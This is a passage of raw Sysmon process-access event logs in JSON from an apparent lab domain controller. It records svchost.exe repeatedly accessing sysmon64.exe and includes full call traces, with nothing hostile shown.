11:55:38.865","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-413A-5F2D-0000-0010CB190600}","TargetProcessId":"4256","TargetImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:55:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4325,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:38.865\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:38.865","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4326,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:38.865\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:38.865","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4327,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:38.865\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:38.865","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4328,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:38.865\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:38.865","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4329,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:38.865\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:38.865","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4330,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:38.865\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:38.865","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4331,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:38.865\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:38.865","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4332,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:38.865\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:38.865","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\W